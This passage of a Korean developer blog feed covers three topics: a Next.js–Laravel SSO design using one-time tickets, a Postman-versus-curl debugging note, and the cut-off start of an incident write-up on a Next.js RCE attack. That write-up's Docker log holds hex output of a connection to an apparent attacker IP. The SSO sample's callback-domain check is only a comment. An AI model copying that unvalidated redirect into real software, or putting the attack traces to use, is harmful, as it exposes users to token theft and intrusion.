&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;app/&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;api/sso/auth/r&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;oute.js 중 일부&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt; &lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;역할:&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; 로그인 상태 확&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;인 후 일회용 ticket 생성 및 외부 사이트로&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;리다이렉트&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1769384161486&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export async function GET(request) {
  const callbackUrl = url.searchParams.get('callbackUrl');
  
  // callbackUrl 도메인 검증
  // EXTERNAL_ALLOWED_DOMAINS 환경변수와 비교
  
  // 세션 확인
  const session = await getServerSession(authOptions);
  
  if (session &amp;amp;&amp;amp; session.user) {
    // 1. 이미 로그인됨 &amp;rarr; Ticket 발급
    const tokenPayload = await getToken({ req: request });
    const userId = tokenPayload?.userId || session.user.userId;
    
    // 2. 일회용 ticket 생성 (32바이트 랜덤)
    const ticket = randomBytes(32).toString('hex');
    
    // 3. DB에 ticket 저장 (5분 유효, user_id만 저장)
    await saveTicketToDB(ticket, userId, 300);
    
    // 4. 외부 사이트로 리다이렉트 (ticket 쿼리 파라미터 포함)
    return NextResponse.redirect(
      `${callbackUrl}?ticket=${encodeURIComponent(ticket)}`
    );
  }
  
  // 미로그인 &amp;rarr; 로그인 페이지로 리다이렉트
  return NextResponse.redirect(
    `${baseUrl}/auth/signin?callbackUrl=${encodeURIComponent(callbackUrl)}`
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;ap&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;p/api/sso/verify-t&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;icket/route.j&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3794ff; text-align: start;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;s&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;역할: &lt;span style=&quot;text-align: start;&quot;&gt;외부 사이트 백엔드에서 ticket 검증 및 사용자 정보 반환&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1769384889981&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export async function GET(request) {
  // API 키 검증 (X-API-Key 헤더)
  const apiKey = request.headers.get('X-API-Key');
  if (apiKey !== process.env.EXTERNAL_API_KEY) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }
  
  const ticket = searchParams.get('ticket');
  
  // 1. Ticket 조회 (DB에서 user_id만 가져옴)
  const userId = await getTicketFromDB(ticket);
  
  if (!userId) {
    return NextResponse.json(
      { error: 'Invalid or expired ticket' },
      { status: 401 }
    );
  }
  
  // 2. ★ 중요: 일회용 보장을 위해 즉시 삭제 (Replay Attack 방지)
  await deleteTicketFromDB(ticket);
  
  // 3. user_id로 멤버 정보 조회
  const member = await getMemberById(userId);
  
  // 4. 사용자 정보 반환
  return NextResponse.json({
    id: member.id,
    email: member.email,
    name: member.name,
    mondayId: member.monday_id,
    role: member.role,
    // ... 기타 정보
  });
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 핵심 컴포넌트 (Laravel 쪽)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Laravel에서는 미들웨어로 SSO 인증을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;처리&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;역할: ticket 검증 및&amp;nbsp;세션 관리주요&amp;nbsp;동작:&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;- 세션 우선 확&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;인: 세션이 있으면 통&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;과 (새로고침 대응)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt; &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; Ticket 검증&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;: ticket이 있으면&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;SSO 서버의&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;/a&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;pi/sso/verify-t&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;icket&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;API 호출&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt; &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 회원정보 수신: JSON 응답으로 받은 회원정보를 세션에&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;저장&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt; &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 자동 리다이렉트: 세션&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;/ticket 모두 없으면 SSO 서버의&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;/a&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;pi/sso/auth&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;로&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;리다이렉트&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1769385109371&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;// routes/web.php
Route::get('/cast', function () {
    $user = request()-&amp;gt;attributes-&amp;gt;get('verify_session_user');
    $monday_id = $user['mondayId'] ?? null;
    
    return view('cast', [
        'pulse_id' =&amp;gt; request()-&amp;gt;query('pulse_id'),
        'monday_id' =&amp;gt; $monday_id,
    ]);
})-&amp;gt;middleware('verify.external.session');&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style2&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span&gt;크로스 도메인 sso 핵심 설계 포인트&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 일회용 Tick&lt;/span&gt;&lt;span&gt;et: 조회 즉시 삭제로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;재사용 방지&lt;br /&gt;&lt;/span&gt;&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 만&lt;/span&gt;&lt;span&gt;료 시간: 5분으로 제&lt;/span&gt;&lt;span&gt;한&lt;br /&gt;&lt;/span&gt;&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 비동기 처리&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;보장: redirect 콜&lt;/span&gt;&lt;span&gt;백에서 500ms 대기로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;DB 작업 완료 보장&lt;br /&gt;&lt;/span&gt;&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 도메인 정규화&lt;/span&gt;&lt;span&gt;: localhost,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;127.0.0.1 등 통일&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;처리&lt;br /&gt;&lt;/span&gt;&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; Soft Delete: 로깅 목적으로 물리 삭제 대신&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;deleted_at&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https 에서 http 로 연결하는거라 좀 번거롭긴했다.&lt;br /&gt;어쩔수없이 http 를 사용해야되는 상황이라 .. 여기저기 물려있는게 많아서 https 로 바꾸게되면&lt;br /&gt;어떤 사이드 이펙트가 터질지 모름 ㄷㄷ &lt;br /&gt;&lt;br /&gt;둘다 https 였으면 사실 그냥 laravel 에서 next.js api 때려서 쿠키 가져와서 금방 해결됐을텐데, http 라서 문제가 좀 생겨가지고&lt;br /&gt;어쩔수없이 티켓 발급 방식으로 교체함&lt;br /&gt;&lt;br /&gt;포스팅하니 이런저런 내용은 다 제외됐는데 , 두 프로젝트 동시에 켜놓고 .env 각각 맞춰서 기재하고 관리하는데 어우... ㅋㅋ&lt;br /&gt;그래도 재미난 경험이었다&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>auth</category>
      <category>docker</category>
      <category>laravel</category>
      <category>Next.js</category>
      <category>NextAuth.js</category>
      <category>php</category>
      <category>SSO</category>
      <category>sso인증구현</category>
      <category>인증</category>
      <category>크로스 도메인</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/225</guid>
      <comments>https://bug41.tistory.com/entry/Nextjs%EC%99%80-Laravel-%ED%81%AC%EB%A1%9C%EC%8A%A4-%EB%8F%84%EB%A9%94%EC%9D%B8-SSO-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0#entry225comment</comments>
      <pubDate>Mon, 26 Jan 2026 08:58:37 +0900</pubDate>
    </item>
    <item>
      <title>Postman에서는 400, curl에서는 정상 | 로컬 Docker POST 요청 삽질기</title>
      <link>https://bug41.tistory.com/entry/Postman%EC%97%90%EC%84%9C%EB%8A%94-400-curl%EC%97%90%EC%84%9C%EB%8A%94-%EC%A0%95%EC%83%81-%EB%A1%9C%EC%BB%AC-Docker-POST-%EC%9A%94%EC%B2%AD-%EC%82%BD%EC%A7%88%EA%B8%B0</link>
      <description>&lt;h2 data-end=&quot;243&quot; data-start=&quot;231&quot; data-ke-size=&quot;size26&quot;&gt;1. 테스트 배경&lt;/h2&gt;
&lt;p data-end=&quot;329&quot; data-start=&quot;245&quot; data-ke-size=&quot;size16&quot;&gt;로컬 Docker 환경에서 &lt;b&gt;Next.js API(Route Handler)&lt;/b&gt; 를 사용해&lt;br /&gt;외부에서 호출 가능한 POST API를 개발 중에 있었고 다음과 같은 특징을 지님&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;476&quot; data-start=&quot;353&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;389&quot; data-start=&quot;353&quot;&gt;Next.js App Router 기반 (route.ts)&lt;/li&gt;
&lt;li data-end=&quot;414&quot; data-start=&quot;390&quot;&gt;POST 요청에서 JSON body 수신&lt;/li&gt;
&lt;li data-end=&quot;427&quot; data-start=&quot;415&quot;&gt;API Key 인증&lt;/li&gt;
&lt;li data-end=&quot;449&quot; data-start=&quot;428&quot;&gt;Slack Webhook 처리 로직&lt;/li&gt;
&lt;li data-end=&quot;476&quot; data-start=&quot;450&quot;&gt;Docker Compose로 로컬 환경 구성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;495&quot; data-start=&quot;478&quot; data-ke-size=&quot;size16&quot;&gt;그런데 이상한 문제가 발생했다.&lt;/p&gt;
&lt;hr data-end=&quot;500&quot; data-start=&quot;497&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;516&quot; data-start=&quot;502&quot; data-ke-size=&quot;size26&quot;&gt;2. 문제 상황 요약&lt;/h2&gt;
&lt;h3 data-end=&quot;538&quot; data-start=&quot;518&quot; data-ke-size=&quot;size23&quot;&gt;❌ Postman에서 호출 시&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;682&quot; data-start=&quot;539&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;547&quot; data-start=&quot;539&quot;&gt;같은 URL&lt;/li&gt;
&lt;li data-end=&quot;565&quot; data-start=&quot;548&quot;&gt;같은 JSON payload&lt;/li&gt;
&lt;li data-end=&quot;612&quot; data-start=&quot;566&quot;&gt;같은 Header (Content-Type: application/json)&lt;/li&gt;
&lt;li data-end=&quot;658&quot; data-start=&quot;613&quot;&gt;&lt;b&gt;body(raw data)가 있으면 무조건 400 Bad Request - 이미지 1 첨부&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;682&quot; data-start=&quot;659&quot;&gt;&lt;b&gt;body 없이 POST 하면 정상 응답 - 이미지 2 첨부&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;b&gt;이미지 1&lt;/b&gt;) body 데이터 존재하면 아래와 같이 400 Bad Request&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BXOV1/dJMcagEjbcw/JIeOBIJLcyasU4KHxhBzb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BXOV1/dJMcagEjbcw/JIeOBIJLcyasU4KHxhBzb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BXOV1/dJMcagEjbcw/JIeOBIJLcyasU4KHxhBzb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBXOV1%2FdJMcagEjbcw%2FJIeOBIJLcyasU4KHxhBzb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;585&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;b&gt;이미지 2&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; body 데이터 없으면 아래와 같이 정상은 아니지만 어쨋든 호출도 되고 로그도 찍힘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxYxPt/dJMcaf6rkZC/vKrVonORFkrtcWRB2k6bIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxYxPt/dJMcaf6rkZC/vKrVonORFkrtcWRB2k6bIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxYxPt/dJMcaf6rkZC/vKrVonORFkrtcWRB2k6bIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxYxPt%2FdJMcaf6rkZC%2FvKrVonORFkrtcWRB2k6bIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1073&quot; height=&quot;719&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;raw data 있으면 console 이고 나발이고 컨테이너 로그 조차 찍히지않음 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;711&quot; data-start=&quot;684&quot; data-ke-size=&quot;size23&quot;&gt;✅ curl(Git Bash)에서 호출 시&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;765&quot; data-start=&quot;712&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;730&quot; data-start=&quot;712&quot;&gt;&lt;b&gt;완전히 동일한 JSON&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;750&quot; data-start=&quot;731&quot;&gt;정상적으로 POST 요청 처리됨&lt;/li&gt;
&lt;li data-end=&quot;765&quot; data-start=&quot;751&quot;&gt;서버 로그도 정상 출력&lt;/li&gt;
&lt;li data-end=&quot;765&quot; data-start=&quot;751&quot;&gt;curl 테스트 명령어 (정상 동작)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1768957748389&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -X POST http://localhost:8010/api/slack/webhook \
  -H &quot;Content-Type: application/json&quot; \
  -H &quot;x-api-key: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot; \
  -d '{
    &quot;to_slack_id&quot;: &quot;U123456&quot;,
    &quot;text&quot;: &quot;테스트 메시지&quot;
  }'&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-end=&quot;785&quot; data-start=&quot;767&quot; data-ke-size=&quot;size23&quot;&gt;✅ 서버에 배포 후 테스트&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;804&quot; data-start=&quot;786&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;804&quot; data-start=&quot;786&quot;&gt;Postman에서도 정상 작동 (기존 로컬에서 body data 껴넣어서 호출하면 안되던게 서버에 배포후 호출하는건 정상작동)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-end=&quot;840&quot; data-start=&quot;806&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;840&quot; data-start=&quot;808&quot; data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;로컬 + Postman 조합에서만 문제가 발생&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-end=&quot;845&quot; data-start=&quot;842&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;862&quot; data-start=&quot;847&quot; data-ke-size=&quot;size26&quot;&gt;3. 테스트 환경 정리&lt;/h2&gt;
&lt;h3 data-end=&quot;876&quot; data-start=&quot;864&quot; data-ke-size=&quot;size23&quot;&gt;  로컬 환경&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;968&quot; data-start=&quot;877&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;893&quot; data-start=&quot;877&quot;&gt;OS: Windows 10&lt;/li&gt;
&lt;li data-end=&quot;911&quot; data-start=&quot;894&quot;&gt;Shell: Git Bash&lt;/li&gt;
&lt;li data-end=&quot;946&quot; data-start=&quot;912&quot;&gt;Docker Desktop (Linux Container)&lt;/li&gt;
&lt;li data-end=&quot;968&quot; data-start=&quot;947&quot;&gt;Docker Compose v3.8&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;986&quot; data-start=&quot;970&quot; data-ke-size=&quot;size23&quot;&gt;  Docker 구성&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1047&quot; data-start=&quot;987&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1007&quot; data-start=&quot;987&quot;&gt;API 컨테이너 (Next.js)&lt;/li&gt;
&lt;li data-end=&quot;1020&quot; data-start=&quot;1008&quot;&gt;MySQL 컨테이너&lt;/li&gt;
&lt;li data-end=&quot;1047&quot; data-start=&quot;1021&quot;&gt;Custom Docker Network 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1062&quot; data-start=&quot;1049&quot; data-ke-size=&quot;size23&quot;&gt;  API 스택&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1183&quot; data-start=&quot;1063&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1096&quot; data-start=&quot;1063&quot;&gt;Next.js App Router (route.ts)&lt;/li&gt;
&lt;li data-end=&quot;1112&quot; data-start=&quot;1097&quot;&gt;Middleware 사용&lt;/li&gt;
&lt;li data-end=&quot;1164&quot; data-start=&quot;1113&quot;&gt;JSON body 직접 파싱 (request.text() &amp;rarr; JSON.parse)&lt;/li&gt;
&lt;li data-end=&quot;1183&quot; data-start=&quot;1165&quot;&gt;Runtime: Node.js&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;챗지피티가 포스트맨이 로컬 도커 , 노드 환경에서 요청&amp;nbsp; 다르게 보낼수있다고 함..&lt;br /&gt;윈도우 환경에서 줄바꿈 문제 섞이면서 파싱 실패하는 경우가 있다고..&lt;br /&gt;&lt;br /&gt;사실 근데 이부분도 어차피 챗지피티가 알려준거라..&lt;br /&gt;애초에 안되던거 질문해도 x-api-key 가 잘못되있을거라느니 , JSON 형식이 아닌 TEXT 로 되있을 거라느니 도움안되는말만 계속 무한반복해서 별로 믿음은 안간다 , 포스트맨 버리고 curl 요청 쳐봐야겠다 생각한것도 내가 먼저 생각했던거고..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;결론 : 포스트맨 이상하면 그냥 curl 때리자&lt;/b&gt;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>API테스트</category>
      <category>curl</category>
      <category>docker</category>
      <category>NextJS</category>
      <category>Postman</category>
      <category>개발삽질</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/224</guid>
      <comments>https://bug41.tistory.com/entry/Postman%EC%97%90%EC%84%9C%EB%8A%94-400-curl%EC%97%90%EC%84%9C%EB%8A%94-%EC%A0%95%EC%83%81-%EB%A1%9C%EC%BB%AC-Docker-POST-%EC%9A%94%EC%B2%AD-%EC%82%BD%EC%A7%88%EA%B8%B0#entry224comment</comments>
      <pubDate>Wed, 21 Jan 2026 10:19:26 +0900</pubDate>
    </item>
    <item>
      <title>Next.js RCE 취약점으로 인해 서버 다운, 삽질 기록 (Docker 환경 공격 분석)</title>
      <link>https://bug41.tistory.com/entry/Nextjs-RCE-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%95%B4-%EC%84%9C%EB%B2%84-%EB%8B%A4%EC%9A%B4-%EC%82%BD%EC%A7%88-%EA%B8%B0%EB%A1%9D-Docker-%ED%99%98%EA%B2%BD-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;1. 사건 발생&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상 가동중이던 사내 홈페이지가 갑자기 504 GATEWAY 뜬다고 제보가 들어왔다.&lt;br /&gt;도커 로그 확인해보니 이상한 Buffer 뭐시기 로그들이 한가득 찍여있고 결국 컨테이너가 감당을 못해서 뻗어버림발생&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;2.증상 및 로그 분석 &lt;/b&gt;&lt;/blockquote&gt;
&lt;pre id=&quot;code_1765328515294&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;   },
          status: 0,
          signal: null,
          output: [
            null,
            &amp;lt;Buffer &amp;gt;,
            &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;
          ],
          pid: 179,
          stdout: &amp;lt;Buffer &amp;gt;,
          stderr: &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;,
          digest: '947727682'
        },
        status: 0,
        signal: null,
        output: [
          null,
          &amp;lt;Buffer &amp;gt;,
          &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;
        ],
        pid: 179,
        stdout: &amp;lt;Buffer &amp;gt;,
        stderr: &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;,
        digest: '947727682'
      },
      status: 0,
      signal: null,
      output: [
        null,
        &amp;lt;Buffer &amp;gt;,
        &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;
      ],
      pid: 179,
      stdout: &amp;lt;Buffer &amp;gt;,
